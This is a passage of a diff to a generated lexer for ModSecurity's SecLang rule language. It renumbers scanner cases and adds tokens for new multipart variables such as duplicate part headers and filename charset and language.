YY_RULE_SETUP -#line 917 "seclang-scanner.ll" +#line 949 "seclang-scanner.ll" { return p::make_VARIABLE_MSC_PCRE_LIMITS_EXCEEDED(*driver.loc.back()); } YY_BREAK -case 306: +case 312: YY_RULE_SETUP -#line 918 "seclang-scanner.ll" +#line 950 "seclang-scanner.ll" { return p::make_VARIABLE_MULTIPART_BOUNDARY_QUOTED(*driver.loc.back()); } YY_BREAK -case 307: +case 313: YY_RULE_SETUP -#line 919 "seclang-scanner.ll" +#line 951 "seclang-scanner.ll" { return p::make_VARIABLE_MULTIPART_BOUNDARY_WHITESPACE(*driver.loc.back()); } YY_BREAK -case 308: +case 314: YY_RULE_SETUP -#line 920 "seclang-scanner.ll" +#line 952 "seclang-scanner.ll" { return p::make_VARIABLE_MULTIPART_CRLF_LF_LINES(*driver.loc.back()); } YY_BREAK -case 309: +case 315: YY_RULE_SETUP -#line 921 "seclang-scanner.ll" +#line 953 "seclang-scanner.ll" { return p::make_VARIABLE_MULTIPART_DATA_AFTER(*driver.loc.back()); } YY_BREAK -case 310: +case 316: YY_RULE_SETUP -#line 922 "seclang-scanner.ll" +#line 954 "seclang-scanner.ll" { return p::make_VARIABLE_MULTIPART_DATA_BEFORE(*driver.loc.back()); } YY_BREAK -case 311: +case 317: YY_RULE_SETUP -#line 923 "seclang-scanner.ll" +#line 955 "seclang-scanner.ll" +{ return p::make_VARIABLE_MULTIPART_DUPLICATE_PART_HEADER(*driver.loc.back()); } + YY_BREAK +case 318: +YY_RULE_SETUP +#line 956 "seclang-scanner.ll" { return p::make_VARIABLE_MULTIPART_FILE_LIMIT_EXCEEDED(*driver.loc.back()); } YY_BREAK -case 312: +case 319: YY_RULE_SETUP -#line 924 "seclang-scanner.ll" +#line 957 "seclang-scanner.ll" { BEGINX(EXPECTING_VAR_PARAMETER); return p::make_VARIABLE_MULTIPART_FILENAME(*driver.loc.back()); } YY_BREAK -case 313: +case 320: YY_RULE_SETUP -#line 925 "seclang-scanner.ll" +#line 958 "seclang-scanner.ll" { return p::make_VARIABLE_MULTIPART_FILENAME(*driver.loc.back()); } YY_BREAK -case 314: +case 321: YY_RULE_SETUP -#line 926 "seclang-scanner.ll" +#line 959 "seclang-scanner.ll" +{ BEGINX(EXPECTING_VAR_PARAMETER); return p::make_VARIABLE_MULTIPART_FILENAME_CHARSET(*driver.loc.back()); } + YY_BREAK +case 322: +YY_RULE_SETUP +#line 960 "seclang-scanner.ll" +{ return p::make_VARIABLE_MULTIPART_FILENAME_CHARSET(*driver.loc.back()); } + YY_BREAK +case 323: +YY_RULE_SETUP +#line 961 "seclang-scanner.ll" +{ BEGINX(EXPECTING_VAR_PARAMETER); return p::make_VARIABLE_MULTIPART_FILENAME_LANGUAGE(*driver.loc.back()); } + YY_BREAK +case 324: +YY_RULE_SETUP +#line 962 "seclang-scanner.ll" +{ return p::make_VARIABLE_MULTIPART_FILENAME_LANGUAGE(*driver.loc.back()); } + YY_BREAK +case 325: +YY_RULE_SETUP +#line 963 "seclang-scanner.ll" { return p::make_VARIABLE_MULTIPART_HEADER_FOLDING(*driver.loc.back()); } YY_BREAK -case 315: +case 326: YY_RULE_SETUP -#line 927 "seclang-scanner.ll" +#line 964 "seclang-scanner.ll" { return p::make_VARIABLE_MULTIPART_HEADER_FOLDING(*driver.loc.back()); } YY_BREAK -case 316: +case 327: YY_RULE_SETUP -#line 928 "seclang-scanner.ll" +#line 965 "seclang-scanner.ll" { return p::make_VARIABLE_MULTIPART_INVALID_HEADER_FOLDING(*driver.loc.back()); } YY_BREAK -case 317: +case 328: YY_RULE_SETUP -#line 929 "seclang-scanner.ll" +#line 966 "seclang-scanner.ll" { return p::make_VARIABLE_MULTIPART_INVALID_PART(*driver.loc.back()); } YY_BREAK -case 318: +case 329: YY_RULE_SETUP -#line 930 "seclang-scanner.ll" +#line 967 "seclang-scanner.ll" { return p::make_VARIABLE_MULTIPART_INVALID_QUOTING(*driver.loc.back()); } YY_BREAK -case 319: +case 330: YY_RULE_SETUP -#line 931 "seclang-scanner.ll" +#line 968 "seclang-scanner.ll" { return p::make_VARIABLE_MULTIPART_LF_LINE(*driver.loc.back()); } YY_BREAK -case 320: +case 331: YY_RULE_SETUP -#line 932 "seclang-scanner.ll" +#line 969 "seclang-scanner.ll" { return p::make_VARIABLE_MULTIPART_MISSING_SEMICOLON(*driver.loc.back()); } YY_BREAK -case 321: +case 332: YY_RULE_SETUP -#line 933 "seclang-scanner.ll" +#line 970 "seclang-scanner.ll" { return p::make_VARIABLE_MULTIPART_SEMICOLON_MISSING(*driver.loc.back()); } YY_BREAK -case 322: +case 333: YY_RULE_SETUP -#line 934 "seclang-scanner.ll" +#line 971 "seclang-scanner.ll" { BEGINX(EXPECTING_VAR_PARAMETER); return p::make_VARIABLE_MULTIPART_NAME(*driver.loc.back()); } YY_BREAK -case 323: +case 334: YY_RULE_SETUP -#line 935 "seclang-scanner.ll" +#line 972 "seclang-scanner.ll" { return p::make_VARIABLE_MULTIPART_NAME(*driver.loc.back()); } YY_BREAK -case 324: +case 335: YY_RULE_SETUP -#line 936 "seclang-scanner.ll" +#line 973 "seclang-scanner.ll" { return p::make_VARIABLE_MULTIPART_STRICT_ERROR(*driver.loc.back()); } YY_BREAK -case 325: +case 336: YY_RULE_SETUP -#line 937 "seclang-scanner.ll" +#line 974 "seclang-scanner.ll" { return p::make_VARIABLE_MULTIPART_UNMATCHED_BOUNDARY(*driver.loc.back()); } YY_BREAK -case 326: +case 337: YY_RULE_SETUP -#line 938 "seclang-scanner.ll" +#line 975 "seclang-scanner.ll" { return p::make_VARIABLE_OUTBOUND_DATA_ERROR(*driver.loc.back()); } YY_BREAK -case 327: +case 338: YY_RULE_SETUP -#line 939 "seclang-scanner.ll" +#line 976 "seclang-scanner.ll" { return p::make_VARIABLE_PATH_INFO(*driver.loc.back()); } YY_BREAK -case 328: +case 339: YY_RULE_SETUP -#line 940 "seclang-scanner.ll" +#line 977 "seclang-scanner.ll" { return p::make_VARIABLE_QUERY_STRING(*driver.loc.back()); } YY_BREAK -case 329: +case 340: YY_RULE_SETUP -#line 941 "seclang-scanner.ll" +#line 978 "seclang-scanner.ll" { return p::make_VARIABLE_REMOTE_ADDR(*driver.loc.back()); } YY_BREAK -case 330: +case 341: YY_RULE_SETUP -#line 942 "seclang-scanner.ll" +#line 979 "seclang-scanner.ll" { return p::make_VARIABLE_REMOTE_HOST(*driver.loc.back()); } YY_BREAK -case 331: +case 342: YY_RULE_SETUP -#line 943 "seclang-scanner.ll" +#line 980 "seclang-scanner.ll" { return p::make_VARIABLE_REMOTE_PORT(*driver.loc.back()); } YY_BREAK -case 332: +case 343: YY_RULE_SETUP -#line 944 "seclang-scanner.ll" +#line 981 "seclang-scanner.ll" { return p::make_VARIABLE_REQBODY_ERROR_MSG(*driver.loc.back()); } YY_BREAK -case 333: +case 344: YY_RULE_SETUP -#line 945 "seclang-scanner.ll" +#line 982 "seclang-scanner.ll" { return p::make_VARIABLE_REQBODY_ERROR(*driver.loc.back()); } YY_BREAK -case 334: +case 345: YY_RULE_SETUP -#line 946 "seclang-scanner.ll" +#line 983 "seclang-scanner.ll" { return p::make_VARIABLE_REQBODY_PROCESSOR_ERROR_MSG(*driver.loc.back()); } YY_BREAK -case 335: +case 346: YY_RULE_SETUP -#line 947 "seclang-scanner.ll" +#line 984 "seclang-scanner.ll" { return p::make_VARIABLE_REQBODY_PROCESSOR_ERROR(*driver.loc.back()); } YY_BREAK -case 336: +case 347: YY_RULE_SETUP -#line 948 "seclang-scanner.ll" +#line 985 "seclang-scanner.ll" { return p::make_VARIABLE_REQBODY_PROCESSOR(*driver.loc.back()); } YY_BREAK -case 337: +case 348: YY_RULE_SETUP -#line 949 "seclang-scanner.ll" +#line 986 "seclang-scanner.ll" { return p::make_VARIABLE_REQUEST_BASENAME(*driver.loc.back()); } YY_BREAK -case 338: +case 349: YY_RULE_SETUP -#line 950 "seclang-scanner.ll" +#line 987 "seclang-scanner.ll" { return p::make_VARIABLE_REQUEST_BODY_LENGTH(*driver.loc.back()); } YY_BREAK -case 339: +case 350: YY_RULE_SETUP -#line 951 "seclang-scanner.ll" +#line 988 "seclang-scanner.ll" { return p::make_VARIABLE_REQUEST_BODY(*driver.loc.back()); } YY_BREAK -case 340: +case 351: YY_RULE_SETUP -#line 952 "seclang-scanner.ll" +#line 989 "seclang-scanner.ll" { return p::make_VARIABLE_REQUEST_FILE_NAME(*driver.loc.back()); } YY_BREAK -case 341: +case 352: YY_RULE_SETUP -#line 953 "seclang-scanner.ll" +#line 990 "seclang-scanner.ll" { return p::make_VARIABLE_REQUEST_HEADERS_NAMES(*driver.loc.back()); } YY_BREAK -case 342: +case 353: YY_RULE_SETUP -#line 954 "seclang-scanner.ll" +#line 991 "seclang-scanner.ll" { BEGINX(EXPECTING_VAR_PARAMETER); return p::make_VARIABLE_REQUEST_HEADERS_NAMES(*driver.loc.back()); } YY_BREAK -case 343: +case 354: YY_RULE_SETUP -#line 955 "seclang-scanner.ll" +#line 992 "seclang-scanner.ll" { return p::make_VARIABLE_REQUEST_LINE(*driver.loc.back()); } YY_BREAK -case 344: +case 355: YY_RULE_SETUP -#line 956 "seclang-scanner.ll" +#line 993 "seclang-scanner.ll" { return p::make_VARIABLE_REQUEST_METHOD(*driver.loc.back()); } YY_BREAK -case 345: +case 356: YY_RULE_SETUP -#line 957 "seclang-scanner.ll" +#line 994 "seclang-scanner.ll" { return p::make_VARIABLE_REQUEST_PROTOCOL(*driver.loc.back()); } YY_BREAK -case 346: +case 357: YY_RULE_SETUP -#line 958 "seclang-scanner.ll" +#line 995 "seclang-scanner.ll" { return p::make_VARIABLE_REQUEST_URI_RAW(*driver.loc.back()); } YY_BREAK -case 347: +case 358: YY_RULE_SETUP -#line 959 "seclang-scanner.ll" +#line 996 "seclang-scanner.ll" { return p::make_VARIABLE_REQUEST_URI(*driver.loc.back()); } YY_BREAK -case 348: +case 359: YY_RULE_SETUP -#line 960 "seclang-scanner.ll" +#line 997 "seclang-scanner.ll" { return p::make_VARIABLE_RESPONSE_BODY(*driver.loc.back()); } YY_BREAK -case 349: +case 360: YY_RULE_SETUP -#line 961 "seclang-scanner.ll" +#line 998 "seclang-scanner.ll" { return p::make_VARIABLE_RESPONSE_CONTENT_LENGTH(*driver.loc.back()); } YY_BREAK -case 350: +case 361: YY_RULE_SETUP -#line 962 "seclang-scanner.ll" +#line 999 "seclang-scanner.ll" { return p::make_VARIABLE_RESPONSE_CONTENT_TYPE(*driver.loc.back()); } YY_BREAK -case 351: +case 362: YY_RULE_SETUP -#line 963 "seclang-scanner.ll" +#line 1000 "seclang-scanner.ll" { return p::make_VARIABLE_RESPONSE_HEADERS_NAMES(*driver.loc.back()); } YY_BREAK -case 352: +case 363: YY_RULE_SETUP -#line 964 "seclang-scanner.ll" +#line 1001 "seclang-scanner.ll" { BEGINX(EXPECTING_VAR_PARAMETER); return p::make_VARIABLE_RESPONSE_HEADERS_NAMES(*driver.loc.back()); } YY_BREAK -case 353: +case 364: YY_RULE_SETUP -#line 965 "seclang-scanner.ll" +#line 1002 "seclang-scanner.ll" { return p::make_VARIABLE_RESPONSE_PROTOCOL(*driver.loc.back()); } YY_BREAK -case 354: +case 365: YY_RULE_SETUP -#line 966 "seclang-scanner.ll" +#line 1003 "seclang-scanner.ll" { return p::make_VARIABLE_RESPONSE_STATUS(*driver.loc.back()); } YY_BREAK -case 355: +case 366: YY_RULE_SETUP -#line 967 "seclang-scanner.ll" +#line 1004 "seclang-scanner.ll" { return p::make_VARIABLE_SERVER_ADDR(*driver.loc.back()); } YY_BREAK -case 356: +case 367: YY_RULE_SETUP -#line 968 "seclang-scanner.ll" +#line 1005 "seclang-scanner.ll" { return p::make_VARIABLE_SERVER_NAME(*driver.loc.back()); } YY_BREAK -case 357: +case 368: YY_RULE_SETUP -#line 969 "seclang-scanner.ll" +#line 1006 "seclang-scanner.ll" { return p::make_VARIABLE_SERVER_PORT(*driver.loc.back()); } YY_BREAK -case 358: +case 369: YY_RULE_SETUP -#line 970 "seclang-scanner.ll" +#line 1007 "seclang-scanner.ll" { return p::make_VARIABLE_SESSION_ID(*driver.loc.back()); } YY_BREAK -case 359: +case 370: YY_RULE_SETUP -#line 971 "seclang-scanner.ll" +#line 1008 "seclang-scanner.ll" { return p::make_VARIABLE_UNIQUE_ID(*driver.loc.back()); } YY_BREAK -case 360: +case 371: YY_RULE_SETUP -#line 972 "seclang-scanner.ll" +#line 1009 "seclang-scanner.ll" { return p::make_VARIABLE_URL_ENCODED_ERROR(*driver.loc.back()); } YY_BREAK -case 361: +case 372: YY_RULE_SETUP -#line 973 "seclang-scanner.ll" +#line 1010 "seclang-scanner.ll" { return p::make_VARIABLE_USER_ID(*driver.loc.back()); } YY_BREAK -case 362: +case 373: YY_RULE_SETUP -#line 974 "seclang-scanner.ll" +#line 1011 "seclang-scanner.ll" { return p::make_VARIABLE_WEB_APP_ID(*driver.loc.back()); } YY_BREAK -case 363: +case 374: YY_RULE_SETUP -#line 975 "seclang-scanner.ll" +#line 1012 "seclang-scanner.ll" { return p::make_VARIABLE_ARGS(*driver.loc.back()); } YY_BREAK -case 364: +case 375: YY_RULE_SETUP -#line 976 "seclang-scanner.ll" +#line 1013 "seclang-scanner.ll" { BEGINX(EXPECTING_VAR_PARAMETER); return p::make_VARIABLE_ARGS(*driver.loc.back()); } YY_BREAK -case 365: +case 376: YY_RULE_SETUP -#line 977 "seclang-scanner.ll" +#line 1014 "seclang-scanner.ll" { return p::make_VARIABLE_ARGS_GET(*driver.loc.back()); } YY_BREAK -case 366: +case 377: YY_RULE_SETUP -#line 978 "seclang-scanner.ll" +#line 1015 "seclang-scanner.ll" { BEGINX(EXPECTING_VAR_PARAMETER); return p::make_VARIABLE_ARGS_GET(*driver.loc.back()); } YY_BREAK -case 367: +case 378: YY_RULE_SETUP -#line 979 "seclang-scanner.ll" +#line 1016 "seclang-scanner.ll" { return p::make_VARIABLE_ARGS_POST(*driver.loc.back()); } YY_BREAK -case 368: +case 379: YY_RULE_SETUP -#line 980 "seclang-scanner.ll" +#line 1017 "seclang-scanner.ll" { BEGINX(EXPECTING_VAR_PARAMETER); return p::make_VARIABLE_ARGS_POST(*driver.loc.back()); } YY_BREAK -case 369: +case 380: YY_RULE_SETUP -#line 981 "seclang-scanner.ll" +#line 1018 "seclang-scanner.ll" { return p::make_VARIABLE_FILES_SIZES(*driver.loc.back()); } YY_BREAK -case 370: +case 381: YY_RULE_SETUP -#line 982 "seclang-scanner.ll" +#line 1019 "seclang-scanner.ll" { BEGINX(EXPECTING_VAR_PARAMETER); return p::make_VARIABLE_FILES_SIZES(*driver.loc.back()); } YY_BREAK -case 371: +case 382: YY_RULE_SETUP -#line 983 "seclang-scanner.ll" +#line 1020 "seclang-scanner.ll" { return p::make_VARIABLE_FILES_NAMES(*driver.loc.back()); } YY_BREAK -case 372: +case 383: YY_RULE_SETUP -#line 984 "seclang-scanner.ll" +#line 1021 "seclang-scanner.ll" { BEGINX(EXPECTING_VAR_PARAMETER); return p::make_VARIABLE_FILES_NAMES(*driver.loc.back()); } YY_BREAK -case 373: +case 384: YY_RULE_SETUP -#line 985 "seclang-scanner.ll" +#line 1022 "seclang-scanner.ll" { return p::make_VARIABLE_FILES_TMP_CONTENT(*driver.loc.back()); } YY_BREAK -case 374: +case 385: YY_RULE_SETUP -#line 986 "seclang-scanner.ll" +#line 1023 "seclang-scanner.ll" { BEGINX(EXPECTING_VAR_PARAMETER); return p::make_VARIABLE_FILES_TMP_CONTENT(*driver.loc.back()); } YY_BREAK -case 375: +case 386: YY_RULE_SETUP -#line 987 "seclang-scanner.ll" +#line 1024 "seclang-scanner.ll" { return p::make_VARIABLE_MATCHED_VARS_NAMES(*driver.loc.back()); } YY_BREAK -case 376: +case 387: YY_RULE_SETUP -#line 988 "seclang-scanner.ll" +#line 1025 "seclang-scanner.ll" { BEGINX(EXPECTING_VAR_PARAMETER); return p::make_VARIABLE_MATCHED_VARS_NAMES(*driver.loc.back()); } YY_BREAK -case 377: +case 388: YY_RULE_SETUP -#line 989 "seclang-scanner.ll" +#line 1026 "seclang-scanner.ll" { return p::make_VARIABLE_MATCHED_VARS(*driver.loc.back()); } YY_BREAK -case 378: +case 389: YY_RULE_SETUP -#line 990 "seclang-scanner.ll" +#line 1027 "seclang-scanner.ll" { BEGINX(EXPECTING_VAR_PARAMETER); return p::make_VARIABLE_MATCHED_VARS(*driver.loc.back()); } YY_BREAK -case 379: +case 390: YY_RULE_SETUP -#line 991 "seclang-scanner.ll" +#line 1028 "seclang-scanner.ll" { return p::make_VARIABLE_FILES(*driver.loc.back()); } YY_BREAK -case 380: +case 391: YY_RULE_SETUP -#line 992 "seclang-scanner.ll" +#line 1029 "seclang-scanner.ll" { BEGINX(EXPECTING_VAR_PARAMETER); return p::make_VARIABLE_FILES(*driver.loc.back()); } YY_BREAK -case 381: +case 392: YY_RULE_SETUP -#line 993 "seclang-scanner.ll" +#line 1030 "seclang-scanner.ll" { return p::make_VARIABLE_REQUEST_COOKIES(*driver.loc.back()); } YY_BREAK -case 382: +case 393: YY_RULE_SETUP -#line 994 "seclang-scanner.ll" +#line 1031 "seclang-scanner.ll" { BEGINX(EXPECTING_VAR_PARAMETER); return p::make_VARIABLE_REQUEST_COOKIES(*driver.loc.back()); } YY_BREAK -case 383: +case 394: YY_RULE_SETUP -#line 995 "seclang-scanner.ll" +#line 1032 "seclang-scanner.ll" { return p::make_VARIABLE_REQUEST_HEADERS(*driver.loc.back()); } YY_BREAK -case 384: +case 395: YY_RULE_SETUP -#line 996 "seclang-scanner.ll" +#line 1033 "seclang-scanner.ll" { BEGINX(EXPECTING_VAR_PARAMETER); return p::make_VARIABLE_REQUEST_HEADERS(*driver.loc.back()); } YY_BREAK -case 385: +case 396: YY_RULE_SETUP -#line 997 "seclang-scanner.ll" +#line 1034 "seclang-scanner.ll" { return p::make_VARIABLE_RESPONSE_HEADERS(*driver.loc.back()); } YY_BREAK -case 386: +case 397: YY_RULE_SETUP -#line 998 "seclang-scanner.ll" +#line 1035 "seclang-scanner.ll" { BEGINX(EXPECTING_VAR_PARAMETER); return p::make_VARIABLE_RESPONSE_HEADERS(*driver.loc.back()); } YY_BREAK -case 387: +case 398: YY_RULE_SETUP -#line 999 "seclang-scanner.ll" +#line 1036 "seclang-scanner.ll" { return p::make_VARIABLE_GEO(*driver.loc.back()); } YY_BREAK -case 388: +case 399: YY_RULE_SETUP -#line 1000 "seclang-scanner.ll" +#line 1037 "seclang-scanner.ll" { BEGINX(EXPECTING_VAR_PARAMETER); return p::make_VARIABLE_GEO(*driver.loc.back()); } YY_BREAK -case 389: +case 400: YY_RULE_SETUP -#line 1001 "seclang-scanner.ll" +#line 1038 "seclang-scanner.ll" { return p::make_VARIABLE_REQUEST_COOKIES_NAMES(*driver.loc.back()); } YY_BREAK -case 390: +case 401: YY_RULE_SETUP -#line 1002 "seclang-scanner.ll" +#line 1039 "seclang-scanner.ll" { BEGINX(EXPECTING_VAR_PARAMETER); return p::make_VARIABLE_REQUEST_COOKIES_NAMES(*driver.loc.back()); } YY_BREAK -case 391: +case 402: YY_RULE_SETUP -#line 1003 "seclang-scanner.ll" +#line 1040 "seclang-scanner.ll" { return p::make_VARIABLE_MULTIPART_PART_HEADERS(*driver.loc.back()); } YY_BREAK -case 392: +case 403: YY_RULE_SETUP -#line 1004 "seclang-scanner.ll" +#line 1041 "seclang-scanner.ll" { BEGINX(EXPECTING_VAR_PARAMETER); return p::make_VARIABLE_MULTIPART_PART_HEADERS(*driver.loc.back()); } YY_BREAK -case 393: +case 404: YY_RULE_SETUP -#line 1005 "seclang-scanner.ll" +#line 1042 "seclang-scanner.ll" { return p::make_VARIABLE_RULE(*driver.loc.back()); } YY_BREAK -case 394: +case 405: YY_RULE_SETUP -#line 1006 "seclang-scanner.ll" +#line 1043 "seclang-scanner.ll" { BEGINX(EXPECTING_VAR_PARAMETER); return p::make_VARIABLE_RULE(*driver.loc.back()); } YY_BREAK -case 395: +case 406: YY_RULE_SETUP -#line 1007 "seclang-scanner.ll" +#line 1044 "seclang-scanner.ll" { return p::make_VARIABLE_FILES_TMP_NAMES(*driver.loc.back()); } YY_BREAK -case 396: +case 407: YY_RULE_SETUP -#line 1008 "seclang-scanner.ll" +#line 1045 "seclang-scanner.ll" { BEGINX(EXPECTING_VAR_PARAMETER); return p::make_VARIABLE_FILES_TMP_NAMES(*driver.loc.back()); } YY_BREAK -case 397: +case 408: YY_RULE_SETUP -#line 1009 "seclang-scanner.ll" +#line 1046 "seclang-scanner.ll" { return p::make_RUN_TIME_VAR_XML(*driver.loc.back()); } YY_BREAK -case 398: +case 409: YY_RULE_SETUP -#line 1010 "seclang-scanner.ll" +#line 1047 "seclang-scanner.ll" { BEGINX(EXPECTING_VAR_PARAMETER); return p::make_RUN_TIME_VAR_XML(*driver.loc.back()); } YY_BREAK -case 399: +case 410: YY_RULE_SETUP -#line 1011 "seclang-scanner.ll" +#line 1048 "seclang-scanner.ll" { return p::make_RUN_TIME_VAR_ENV(*driver.loc.back()); } YY_BREAK -case 400: +case 411: YY_RULE_SETUP -#line 1012 "seclang-scanner.ll" +#line 1049 "seclang-scanner.ll" { BEGINX(EXPECTING_VAR_PARAMETER); return p::make_RUN_TIME_VAR_ENV(*driver.loc.back()); } YY_BREAK -case 401: +case 412: YY_RULE_SETUP -#line 1013 "seclang-scanner.ll" +#line 1050 "seclang-scanner.ll" { return p::make_RUN_TIME_VAR_BLD(yytext, *driver.loc.back()); } YY_BREAK -case 402: +case 413: YY_RULE_SETUP -#line 1014 "seclang-scanner.ll" +#line 1051 "seclang-scanner.ll" { return p::make_RUN_TIME_VAR_DUR(yytext, *driver.loc.back()); } YY_BREAK -case 403: +case 414: YY_RULE_SETUP -#line 1015 "seclang-scanner.ll" +#line 1052 "seclang-scanner.ll" { return p::make_RUN_TIME_VAR_HSV(yytext, *driver.loc.back()); } YY_BREAK -case 404: +case 415: YY_RULE_SETUP -#line 1016 "seclang-scanner.ll" +#line 1053 "seclang-scanner.ll" { return p::make_RUN_TIME_VAR_REMOTE_USER(yytext, *driver.loc.back()); } YY_BREAK -case 405: +case 416: YY_RULE_SETUP -#line 1017 "seclang-scanner.ll" +#line 1054 "seclang-scanner.ll" { return p::make_RUN_TIME_VAR_TIME_DAY(yytext, *driver.loc.back()); } YY_BREAK -case 406: +case 417: YY_RULE_SETUP -#line 1018 "seclang-scanner.ll" +#line 1055 "seclang-scanner.ll" { return p::make_RUN_TIME_VAR_TIME_EPOCH(yytext, *driver.loc.back()); } YY_BREAK -case 407: +case 418: YY_RULE_SETUP -#line 1019 "seclang-scanner.ll" +#line 1056 "seclang-scanner.ll" { return p::make_RUN_TIME_VAR_TIME_HOUR(yytext, *driver.loc.back()); } YY_BREAK -case 408: +case 419: YY_RULE_SETUP -#line 1020 "seclang-scanner.ll" +#line 1057 "seclang-scanner.ll" { return p::make_RUN_TIME_VAR_TIME_MIN(yytext, *driver.loc.back()); } YY_BREAK -case 409: +case 420: YY_RULE_SETUP -#line 1021 "seclang-scanner.ll" +#line 1058 "seclang-scanner.ll" { return p::make_RUN_TIME_VAR_TIME_MON(yytext, *driver.loc.back()); } YY_BREAK -case 410: +case 421: YY_RULE_SETUP -#line 1022 "seclang-scanner.ll" +#line 1059 "seclang-scanner.ll" { return p::make_RUN_TIME_VAR_TIME_SEC(yytext, *driver.loc.back()); } YY_BREAK -case 411: +case 422: YY_RULE_SETUP -#line 1023 "seclang-scanner.ll" +#line 1060 "seclang-scanner.ll" { return p::make_RUN_TIME_VAR_TIME_YEAR(yytext, *driver.loc.back()); } YY_BREAK -case 412: +case 423: YY_RULE_SETUP -#line 1024 "seclang-scanner.ll" +#line 1061 "seclang-scanner.ll" { return p::make_RUN_TIME_VAR_TIME(yytext, *driver.loc.back()); } YY_BREAK -case 413: +case 424: YY_RULE_SETUP -#line 1025 "seclang-scanner.ll" +#line 1062 "seclang-scanner.ll" { return p::make_RUN_TIME_VAR_TIME_WDAY(yytext, *driver.loc.back()); } YY_BREAK -case 414: +case 425: YY_RULE_SETUP -#line 1028 "seclang-scanner.ll" +#line 1065 "seclang-scanner.ll" { driver.error (*driver.loc.back(), "Variable VARIABLE_WEBSERVER_ERROR_LOG is not supported by libModSecurity", ""); throw p::syntax_error(*driver.loc.back(), "");} YY_BREAK -case 415: +case 426: YY_RULE_SETUP -#line 1029 "seclang-scanner.ll" +#line 1066 "seclang-scanner.ll" { return p::make_VARIABLE_GLOBAL(*driver.loc.back()); } YY_BREAK -case 416: +case 427: YY_RULE_SETUP -#line 1030 "seclang-scanner.ll" +#line 1067 "seclang-scanner.ll" { return p::make_VARIABLE_IP(*driver.loc.back()); } YY_BREAK -case 417: +case 428: YY_RULE_SETUP -#line 1031 "seclang-scanner.ll" +#line 1068 "seclang-scanner.ll" { return p::make_VARIABLE_RESOURCE(*driver.loc.back()); } YY_BREAK -case 418: +case 429: YY_RULE_SETUP -#line 1032 "seclang-scanner.ll" +#line 1069 "seclang-scanner.ll" { return p::make_VARIABLE_SESSION(*driver.loc.back()); } YY_BREAK -case 419: +case 430: YY_RULE_SETUP -#line 1033 "seclang-scanner.ll" +#line 1070 "seclang-scanner.ll" { return p::make_VARIABLE_STATUS(*driver.loc.back()); } YY_BREAK -case 420: +case 431: YY_RULE_SETUP -#line 1034 "seclang-scanner.ll" +#line 1071 "seclang-scanner.ll" { return p::make_VARIABLE_STATUS_LINE(*driver.loc.back()); } YY_BREAK -case 421: +case 432: YY_RULE_SETUP -#line 1035 "seclang-scanner.ll" +#line 1072 "seclang-scanner.ll" { return p::make_VARIABLE_TX(*driver.loc.back()); } YY_BREAK -case 422: +case 433: YY_RULE_SETUP -#line 1036 "seclang-scanner.ll" +#line 1073 "seclang-scanner.ll" { return p::make_VARIABLE_USER(*driver.loc.back()); } YY_BREAK -case 423: +case 434: YY_RULE_SETUP -#line 1040 "seclang-scanner.ll" +#line 1077 "seclang-scanner.ll" { BEGINX_(); return p::make_VARIABLE_GLOBAL(*driver.loc.back()); } YY_BREAK -case 424: +case 435: YY_RULE_SETUP -#line 1041 "seclang-scanner.ll" +#line 1078 "seclang-scanner.ll" { BEGINX_(); return p::make_VARIABLE_IP(*driver.loc.back()); } YY_BREAK -case 425: +case 436: YY_RULE_SETUP -#line 1042 "seclang-scanner.ll" +#line 1079 "seclang-scanner.ll" { BEGINX_(); return p::make_VARIABLE_RESOURCE(*driver.loc.back()); } YY_BREAK -case 426: +case 437: YY_RULE_SETUP -#line 1043 "seclang-scanner.ll" +#line 1080 "seclang-scanner.ll" { BEGINX_(); return p::make_VARIABLE_SESSION(*driver.loc.back()); } YY_BREAK -case 427: +case 438: YY_RULE_SETUP -#line 1044 "seclang-scanner.ll" +#line 1081 "seclang-scanner.ll" { BEGINX_(); return p::make_VARIABLE_TX(*driver.loc.back()); } YY_BREAK -case 428: +case 439: YY_RULE_SETUP -#line 1045 "seclang-scanner.ll" +#line 1082 "seclang-scanner.ll" { BEGINX_(); return p::make_VARIABLE_USER(*driver.loc.back()); } YY_BREAK -case 429: +case 440: YY_RULE_SETUP -#line 1050 "seclang-scanner.ll" +#line 1087 "seclang-scanner.ll" { BEGIN_ACTION_WAITING_CONTENT(); return p::make_SETVAR_OPERATION_EQUALS_PLUS(*driver.loc.back()); } YY_BREAK -case 430: +case 441: YY_RULE_SETUP -#line 1051 "seclang-scanner.ll" +#line 1088 "seclang-scanner.ll" { BEGIN_ACTION_WAITING_CONTENT(); return p::make_SETVAR_OPERATION_EQUALS_MINUS(*driver.loc.back()); } YY_BREAK -case 431: +case 442: YY_RULE_SETUP -#line 1052 "seclang-scanner.ll" +#line 1089 "seclang-scanner.ll" { BEGIN_ACTION_WAITING_CONTENT(); return p::make_SETVAR_OPERATION_EQUALS(*driver.loc.back()); } YY_BREAK -case 432: -/* rule 432 can match eol */ +case 443: +/* rule 443 can match eol */ YY_RULE_SETUP -#line 1053 "seclang-scanner.ll" +#line 1090 "seclang-scanner.ll" { BEGIN_PREVIOUS(); yyless(yyleng - 1); return p::make_DICT_ELEMENT_REGEXP(std::string(yytext, 1, yyleng-2), *driver.loc.back()); } YY_BREAK -case 433: -/* rule 433 can match eol */ +case 444: +/* rule 444 can match eol */ YY_RULE_SETUP -#line 1054 "seclang-scanner.ll" +#line 1091 "seclang-scanner.ll" { BEGIN_PREVIOUS(); yyless(yyleng - 1); return p::make_DICT_ELEMENT_REGEXP(std::string(yytext, 1, yyleng-2), *driver.loc.back()); } YY_BREAK -case 434: -/* rule 434 can match eol */ +case 445: +/* rule 445 can match eol */ YY_RULE_SETUP -#line 1055 "seclang-scanner.ll" +#line 1092 "seclang-scanner.ll" { BEGIN_PREVIOUS(); yyless(yyleng - 0); return p::make_DICT_ELEMENT_REGEXP(std::string(yytext, 2, yyleng-4), *driver.loc.back()); } YY_BREAK -case 435: -/* rule 435 can match eol */ +case 446: +/* rule 446 can match eol */ YY_RULE_SETUP -#line 1056 "seclang-scanner.ll" +#line 1093 "seclang-scanner.ll" { BEGIN_PREVIOUS(); yyless(yyleng - 1); return p::make_DICT_ELEMENT_REGEXP(std::string(yytext, 2, yyleng-4), *driver.loc.back()); } YY_BREAK -case 436: -/* rule 436 can match eol */ +case 447: +/* rule 447 can match eol */ YY_RULE_SETUP -#line 1057 "seclang-scanner.ll" +#line 1094 "seclang-scanner.ll" { yyless(yyleng - 1); BEGIN_PREVIOUS(); return p::make_FREE_TEXT_QUOTE_MACRO_EXPANSION(yytext, *driver.loc.back()); } YY_BREAK -case 437: -/* rule 437 can match eol */ +case 448: +/* rule 448 can match eol */ YY_RULE_SETUP -#line 1058 